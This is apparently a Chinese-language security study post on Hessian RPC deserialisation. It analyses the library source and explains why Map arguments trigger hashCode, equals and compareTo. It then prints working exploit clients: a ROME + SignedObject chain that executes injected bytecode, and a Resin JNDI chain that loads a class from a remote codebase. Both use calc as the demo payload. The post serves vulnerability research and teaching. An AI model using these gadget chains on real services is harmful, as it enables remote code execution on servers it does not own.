Hessian

0x01 What Is Hessian

Hessian是一个二进制的web service协议，用于实现RPC

RPC：Remote Procedure Call 远程过程调用。

对于Java来说和RMI差不多（RMI就是RPC的一种具体实现），就是远程方法调用。

RPC框架中的三个角色：

Server
Client
Registry

RPC的主要功能目标是让构建分布式应用更加容易

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>

Class Architecture

AbstractSerializerFactory：抽象序列化器工厂，是管理和维护对应序列化/反序列化机制的工厂。
- SerializerFactory：标准实现
- ExtSerializerFactory：可以设置自定义的序列化机制
- BeanSerializerFactory：对Serializer默认Object的序列化机制进行强制指定为BeanSerializer

序列化器工厂肯定是作为IO流对象的成员去使用

Hessian的有几个默认实现的序列化器，当然也有对应的反序列化器

Hessian ⚔ Native

Hessian反序列化和原生反序列化有啥区别呢？

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Person implements Serializable {
    public String name = "taco";
    public int age = 18;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    private void readObject(ObjectInputStream ois) throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

原生反序列化：

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(new Person());
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();

Hessian：

ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output oos = new Hessian2Output(baos);
oos.writeObject(new Person());
oos.close();

Hessian2Input ois = new Hessian2Input(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();

原生反序列化能弹出计算器，Hessian就不能

说明Hessian反序列化不会自动调用反序列化类的readObject()方法

因此JDK原生的gadget在Hessian反序列化中不能直接使用

实际上，Hessian序列化的类甚至可以不需要实现Serializable接口

🎃慢慢看下去咯

下面的分析基于Hessian4.x，默认的序列化器为UnsafeSerializer（使用unsafe在内存层面直接恢复对象）
而Hessian3.x，默认的序列化器为JavaSerializer（调用构造器创建对象和使用反射恢复字段，优先使用无参构造器）

0x02 Hessian At Your Service

Servlet Based

通过把提供服务的类注册成Servlet进行访问

Server

public interface Greeting {
    String sayHi(HashMap o);
}

package org.taco.hessian;

import com.caucho.hessian.server.HessianServlet;

import javax.servlet.annotation.WebServlet;
import java.util.HashMap;

@WebServlet("/hessian")
public class Hello extends HessianServlet implements Greeting {
    public String sayHi(HashMap o) {
        return "Hi" + o.toString();
    }
}

服务类需要实现服务接口，且继承com.caucho.hessian.server.HessianServlet

Client

import com.caucho.hessian.client.HessianProxyFactory;

import java.net.MalformedURLException;
import java.util.HashMap;

public class Client {
    public static void main(String[] args) throws MalformedURLException {
        String url = "http://localhost:8080/hessian";

        HessianProxyFactory factory = new HessianProxyFactory();
        Greeting greet = (Greeting) factory.create(Greeting.class, url);

        HashMap o = new HashMap();
        o.put("taco", "black");

        System.out.println(greet.sayHi(o));  // Hi{taco=black}
    }
}

客户端通过com.caucho.hessian.client.HessianProxyFactory创建对应接口的代理对象。

Spring Based

package com.example.hessian_server.config;

import com.example.hessian_server.service.Greeting;
import com.example.hessian_server.service.Hello;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.remoting.caucho.HessianServiceExporter;

import javax.annotation.Resource;

@Configuration
public class HessianConfig {
    @Resource
    private Hello hello;

    @Bean(name = "/hessian")
    public HessianServiceExporter HiService() {
        HessianServiceExporter exporter = new HessianServiceExporter();
        exporter.setService(hello);
        exporter.setServiceInterface(Greeting.class);
        return exporter;
    }
}

package com.example.hessian_server.service;

import org.springframework.stereotype.Service;

import java.util.HashMap;

@Service
public class Hello implements Greeting{
    @Override
    public String sayHi(HashMap o) {
        return "Hi " + o.toString();
    }
}

package com.example.hessian_server.service;


import java.util.HashMap;

public interface Greeting {
    String sayHi(HashMap o);
}

Spring-Web 包提供了 org.springframework.remoting.caucho.HessianServiceExporter 用来暴露远程调用的接口和实现类。使用该类 export 的 Hessian Service 可以被任何 Hessian Client 访问

0x03 Dive Into Source

Server

package org.taco.hessian;

import com.caucho.hessian.server.HessianServlet;

import javax.servlet.annotation.WebServlet;
import java.util.HashMap;

@WebServlet(value = "/hessian", loadOnStartup = 1)
public class Hello extends HessianServlet implements Greeting {
    @Override
    public String sayHi(HashMap o) {
        return "Hi" + o.toString();
    }
}

HessianServlet是HttpServlet的子类，那就存在Servlet的生命周期三个阶段：初始化（init）、运行（service）、销毁（destroy）

init

首先是初始化HessianServlet

_homeAPI：被调用的接口类
_homeImpl：接口实现类的实例
_serializerFactory：序列化器工厂

loadServlet => initServlet => HessianServlet#init

上面的初始化参数是通过xml配置或注解传入给HessianServlet

我们这里没有配置初始化参数，将this（Hello对象）赋值给_homeImpl，_homeAPI=_homeImpl.getClass()

_objectAPI和_objectImpl均为null，_homeSkeleton直接赋值给_objectSkeleton

HessianSkeleton是AbstractSkeleton的子类，对Hessian提供的服务进行封装。

AbstractSkeleton实例化时将接口中的public方法和方法名保存在_methodMap，以及一些方法名的变体，如方法名__参数个数、方法名_参数1类型_参数2类型...。这里传入的是this，所以顺带把Hello从父类继承到的方法也放进去了。

service

当请求到来时会触发Servlet的service方法

获取序列化器工厂，创建SerializerFactory实例

看一下这个_isEnableUnsafeSerializer开关是怎么打开的

private boolean _isEnableUnsafeSerializer
    = (UnsafeSerializer.isEnabled()
        && UnsafeDeserializer.isEnabled());

UnsafeSerializer的静态代码块判断是否开启Unsafe序列化器

其实就是简单通过反射找到sun.misc.Unsafe的theUnsafe成员（Unsafe是单例模式，静态代码块对自身进行实例化，并放到theUnsafe属性。由于只实例化一次，对外提供getUnsafe方法来获取自身的实例，但不允许非系统类调用）

可以通过设置全局属性com.caucho.hessian.unsafe=false来关闭这个序列化器。一般_isEnabled应该是开启的。

回到HessianServlet#invoke，和RMI一样，服务端也是采用了Skeleton代理的设计理念。

最后调用的是_homeSkeleton#invoke

判断了使用哪种协议进行数据交互（hessian/hessian2/混用）

并将原本的ServletRequest输入流和ServletResponse输出流封装为HessianInput和HessianOutput

后面的readObject和writeObject就是基于这两个输入输出对象。

创建好输入输出流后，设置其序列化器工厂，继续invoke

这里看到多出了一个_service对象，正是我们的Hello对象，它是HessianSkeleton的属性（init构造Skeleton的时候传进来的this）

_service即提供方法的调用对象

public void invoke(Object service,
                   AbstractHessianInput in,
                   AbstractHessianOutput out)
    throws Exception
{
    // ...
    String methodName = in.readMethod();
    int argLength = in.readMethodArgLength();

    Method method;

    method = getMethod(methodName + "__" + argLength);

    if (method == null)
        method = getMethod(methodName);
	// ...
    if (method == null) {
        out.writeFault("NoSuchMethodException",
                       escapeMessage("The service has no method named: " + in.getMethod()),
                       null);
        out.close();
        return;
    }

    Class<?> []args = method.getParameterTypes();

    if (argLength != args.length && argLength >= 0) {
        out.writeFault("NoSuchMethod",
                       escapeMessage("method " + method + " argument length mismatch, received length=" + argLength),
                       null);
        out.close();
        return;
    }

    Object []values = new Object[args.length];

    for (int i = 0; i < args.length; i++) {
        // XXX: needs Marshal object
        values[i] = in.readObject(args[i]);
    }

    Object result = null;

    try {
        result = method.invoke(service, values);
    } //...
}

读取方法名（methodName），查找调用方法（getMethod，从_methodMap获取），根据Method对象获取参数个数。

接着从输入流反序列化参数，传入的是参数类型（HessianInput#readObject(Class<?> cl)）

最后调用方法，并写到输出流中进行序列化。

总结：

HessianServlet初始化时获取到服务接口和实例对象，将接口中的方法注册到_methodMap
作为一个Servlet，请求到来时触发service方法，准备远程方法调用invoke
HessianSkeleton根据请求流读取方法名、方法参数，在_methodMap中查找方法
对方法参数进行反序列化，调用方法后将结果写到返回流进行序列化。

deserialize

跟进上文的HessianInput#readObject，在这里对方法参数进行反序列化。

reader = _serializerFactory.getDeserializer(cl);获取反序列化器

试图从缓存中获取，loadDeserializer获取后放入缓存

根据调用方法的参数类型来决定使用哪个反序列化器，这里返回MapDeserializer

（MapDeserializer的构造函数把传入的参数类型赋值给了_type，_type就是远程调用方法的参数类型，并且获取了_type的无参构造器_ctor）

接着执行MapDeserializer#readMap(HessianInput in);

// ....
map = (Map) _ctor.newInstance();
while (! in.isEnd()) {
    map.put(in.readObject(), in.readObject());  // in: HessianInput
}

对键值对分别反序列化，再放入map

👉注意看，漏洞source点就在这了

map.put对于HashMap会触发key.hashCode()、key.equals(k)，而对于TreeMap会触发key.compareTo()

经过之前反序列化的~~du da~~（学习），应该能很快反应出来（CC6、ROME都用到了hashCode）

那我们目标就明确了：

🚩以Map为载体，构造恶意的方法调用参数，服务端会解析请求中的方法参数，触发hashCode、compareTo方法

💦限制：远程方法接口的参数要有Map类型，后面看看能不能绕过

现在回答上面的问题，为什么Hessian反序列化不会执行类的readObject方法？那它是如何得到一个对象的？

我们看看当MapEntry的值为Person对象时Hessian是怎么处理的。

HessianInput#readObject()

Map的元素类型未知，只能从输入流中读取任意对象。当然输入流中有对象类型的标记位。

依旧获取到M，看来Hessian把普通类对象当成Map来处理了

getDeserializer(type)首先也是调用到loadDeserializer，根据类型获取反序列化器，这里匹配不到预置类型，只能获取默认的反序列化器

SerializerFactory#getDefaultDeserializer

默认反序列化器为UnsafeDeserializer，在其构造函数里，会对类成员分配成员的反序列化器，并放入HashMap<String,FieldDeserializer2> _fieldMap

和原生反序列化一样，会跳过static和transient修饰的字段

回到UnsafeDeserializer#readMap，先创建了一个实例对象，再对这个实例对象进行操作

这里的instantiate就是利用的老朋友Unsafe在内存层面直接开辟出一个对象的空间

protected Object instantiate() throws Exception {
    return _unsafe.allocateInstance(_type);
}

接着从输入流里读取字段名，_fieldMap中获取对应的字段反序列化器，再对obj进行操作

FieldDeserializer2FactoryUnsafe内置了一堆基本类型的反序列化器，大都是直接从输入流读取的数据就是字段值

接着又是熟悉的操作_unsafe.putObject(obj, _offset, value);修改对象在内存中字段偏移量处的值

因此就没有触发我们自定义的readObject了。

Client

String url = "http://localhost:8080/hessian";

HessianProxyFactory factory = new HessianProxyFactory();
Greeting greet = (Greeting) factory.create(Greeting.class, url);

HashMap o = new HashMap();
o.put("taco", "black");

System.out.println(greet.sayHi(o));

HessianProxyFactory#create返回一个代理对象

所以无论调用啥方法都会走到HessianProxy#invoke方法，

获取了方法名和方法参数类型，将方法和方法名放入_mangleMap，下次调用会首先从_mangleMap获取方法名

发送请求获取连接对象，读取协议标志code，根据协议标志选择使用Hessian/Hessian2读取，最终断开连接。

sendRequest里除了建立网络连接外，通过HessianOutput#call来序列化方法调用参数（HessianOutput#writeObject）

根据参数类型获取对应的序列化器。和获取反序列化器一样，这里匹配不到预置类型，只能获取默认的序列化器UnsafeSerializer

只要开启_isAllowNonSerializable，没有实现Serializable接口的类也能序列化！

这也是和原生反序列化的重大区别之一。

UnsafeSerializer的构造函数中使用introspect()自省序列化的类

看到这里序列化也跳过了static和transient修饰的字段

同样为每个字段分配其序列化器

0x04 Exploitation

由上分析，我们可得Hessian反序列化有如下特点：

只要开启_isAllowNonSerializable，未实现Serializable接口的类也能序列化
和原生反序列化一样，static和transient修饰的类不会被序列化和反序列化
source不在readObject，而是利用Map类反序列化时会执行put操作，触发HashMap->key.hashCode()、key.equals(k)或TreeMap->key.compareTo()

上帝为Hessian关上了readObject这扇门，但同时也为它开启了AllowNonSerializable这扇窗

若目标RPC服务暴露出去的接口方法不接收Map类型参数，我们可以找远程对象从HessianServlet及其父类继承得到的方法。

看哪些方法接收Object或Map类型参数，在客户端的接口中添加方法即可，如

public void setHome(Object home)
public void setObject(Object object)

Hessian可以配合以下来利用：

Rome <- hashCode
XBean <- equals
Resin <- equals
Goovy <- compareTo
SpringPartiallyComparableAdvisorHolder <- equals
SpringAbstractBeanFactoryPointcutAdvisor <- equals

0x05 ROME + SignedObject

Rome利用链中的TemplatesImpl由于其_tfactory被transient修饰，在Hessian中无法进行序列化。

这里插一句为啥之前可以打出来
TemplatesImpl重写了readObject方法，在readObject中给_tfactory赋值了，而Hessian中序列化和反序列化中都不会处理transient修饰的字段
（TemplatesImpl那条链的defineTransletClasses要求_tfactory不为空，否则抛出异常）

Introducing~ java.security.SignedObject#getObject

public final class SignedObject implements Serializable {
    public SignedObject(Serializable object, PrivateKey signingKey,
                        Signature signingEngine) {
        // creating a stream pipe-line, from a to b
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new ObjectOutputStream(b);

        // write and flush the object content to byte array
        a.writeObject(object);
        a.flush();
        a.close();
        this.content = b.toByteArray();
        b.close();

        // now sign the encapsulated object
        this.sign(signingKey, signingEngine);
    }
    public Object getObject()
        throws IOException, ClassNotFoundException
    {
        // creating a stream pipe-line, from b to a
        ByteArrayInputStream b = new ByteArrayInputStream(this.content);
        ObjectInput a = new ObjectInputStream(b);
        Object obj = a.readObject();
        b.close();
        a.close();
        return obj;
    }
}

也是配合ROME去打，toStringBean触发SignedObject#getObject，进而反序列化this.content

这里就是原生反序列化了，而且刚好SignedObject的构造方法会帮我们序列化。

import com.caucho.hessian.client.HessianProxyFactory;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.taco.hessian.service.Greeting;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;


public class Client {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }

    public static byte[] getPayload() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClazz = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClazz);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
        clazz.addConstructor(constructor);
        return clazz.toBytecode();
    }

    public static void main(String[] args) throws Exception {
        String url = "http://localhost:8080/hessian";

        HessianProxyFactory factory = new HessianProxyFactory();
        Greeting greet = (Greeting) factory.create(Greeting.class, url);

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{getPayload()});
        setFieldValue(obj, "_name", "p4d0rn");
        ToStringBean bean = new ToStringBean(Templates.class, obj);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
        setFieldValue(badAttributeValueExpException, "val", bean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
        EqualsBean equalsBean = new EqualsBean(String.class, "p4d0rn");
        HashMap map = new HashMap();
        map.put(equalsBean, 1);

        setFieldValue(equalsBean, "_beanClass", ToStringBean.class);
        setFieldValue(equalsBean, "_obj", toStringBean);

        greet.setHome(map);
    }
}

0x06 Resin

HashMap#put会调用key.equals(k)，对比两个对象

com.sun.org.apache.xpath.internal.objects.XString#equals

QName是Resin对上下文Context的一种封装，它的toString方法会调用其封装类的composeName方法获取复合上下文的名称。

看类描述就知道这类不简单了

Represents a parsed JNDI name.
public class QName implements Name{}

javax.naming.spi.ContinuationContext#composeName

跟进getTargetContext，调用NamingManager#getContext

跟进NamingManager#getContext -> NamingManager#getObjectFactoryFromReference

首先试图通过当前上下文类加载器加载

public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
    return loadClass(className, false, getContextClassLoader());
}
Class<?> loadClass(String className, boolean initialize, ClassLoader cl)
    throws ClassNotFoundException {
    Class<?> cls = Class.forName(className, initialize, cl);
    return cls;
}

这里的上下文类加载器是通过Thread.currentThread().getContextClassLoader();或ClassLoader.getSystemClassLoader();获取的

显然会找不到我们指定的类，再从Reference获取codebase。

高版本JDK默认不开启codebase（trustURLCodebase为false），这里也就无法通过URLClassLoader加载远程类了。

对于低版本JDK，就少了codebase这部分判断，直接远程加载类。

import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;

import javax.naming.CannotProceedException;
import javax.naming.Context;
import javax.naming.Reference;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;

public class Client {
    public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
        Class clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, newValue);
    }
    public static void main(String[] args) throws Exception {
        XString xString = new XString("p4d0rn");
        Class contextClass = Class.forName("javax.naming.spi.ContinuationContext");
        Constructor constructor = contextClass.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        constructor.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();
        cpe.setResolvedObj(new Reference("calc", "calc", "http://127.0.0.1:8088/"));
        Context context = (Context) constructor.newInstance(cpe, new Hashtable());
        QName qName = new QName(context, "x", "y");
        HashMap map = new HashMap();
        xString.equals(qName);
    }
}

这里要构造可用的payload涉及到hash构造，先放着📌

Spring AOP

Spring Context + AOP

Reference

Hessian 反序列化知一二 | 素十八
https://paper.seebug.org/1131/

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